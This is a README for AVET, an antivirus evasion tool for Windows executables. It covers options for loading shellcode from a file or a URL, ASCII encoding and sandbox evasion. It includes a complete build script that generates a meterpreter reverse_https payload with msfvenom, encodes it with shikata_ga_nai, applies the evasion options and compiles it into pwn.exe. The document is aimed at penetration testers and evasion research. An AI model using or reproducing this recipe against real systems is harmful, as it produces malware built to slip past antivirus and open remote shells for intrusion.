AVET is an AntiVirus Evasion Tool, which was developed for making life easier for pentesters and for experimenting with antivirus evasion techniques.
What & Why:
when running an exe file made with msfpayload & co, the exe file will often be recognized by the antivirus software
avet is a antivirus evasion tool targeting windows machines with executable files
assembly shellcodes can be used
make_avet can be used for configuring the sourcecode
with make_avet you can load ASCII encoded shellcodes from a textfile or from a webserver, further it is using an av evasion technique to avoid sandboxing and emulation
for ASCII encoding the shellcode the tool format.sh and sh_format are included
How to use make_avet and build scripts
Compile if needed:
$ gcc -o make_avet make_avet.c
The purpose of make_avet is to preconfigure a definition file (defs.h) so that the source code can be compiled in the next step. This way the payload will be encoded as ASCII payload or with encoders from metasploit. You hardly can beat shikata-ga-nai.
Let’s have a look at the options from make_avet:
-l load and exec shellcode from given file, call is with mytrojan.exe myshellcode.txt
-f compile shellcode into .exe, needs filename of shellcode file -u load and exec shellcode from url using internet explorer (url is compiled into executable)
-E use avets ASCII encryption. Note: with -l -E is mandatory
-F use fopen sandbox evasion
-X compile for 64 bit
-p print debug information
-h help
Of course it is possible to run all commands step by step from command line. But it is strongly recommended to use build scripts or the avet_fabric.py.
The build scripts themselves are written so as they have to be called from within the avet directory:
root@kalidan:~/tools/avet# ./build/build_win32_meterpreter_rev_https_20xshikata.sh
Example:
Compile shellcode into the .exe file and use -F as evasion technique. Note that this example will work for most antivirus engines. Here -E is used for encoding the shellcode as ASCII.
#!/bin/bash
# simple example script for building the .exe file
# include script containing the compiler var $win32_compiler
# you can edit the compiler in build/global_win32.sh
# or enter $win32_compiler="mycompiler" here
. build/global_win32.sh
# make meterpreter reverse payload, encoded with shikata_ga_nai
# additionaly to the avet encoder, further encoding should be used
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.116.132 lport=443 -e x86/shikata_ga_nai -i 3 -f c -a x86 --platform Windows > sc.txt
# format the shellcode for make_avet
./format.sh sc.txt > scclean.txt && rm sc.txt
# call make_avet, the -f compiles the shellcode to the exe file, the -F is for the AV sandbox evasion, -E will encode the shellcode as ASCII
./make_avet -f scclean.txt -F -E
# compile to pwn.exe file
$win32_compiler -o pwn.exe avet.c
# cleanup
rm scclean.txt && echo "" > defs.h
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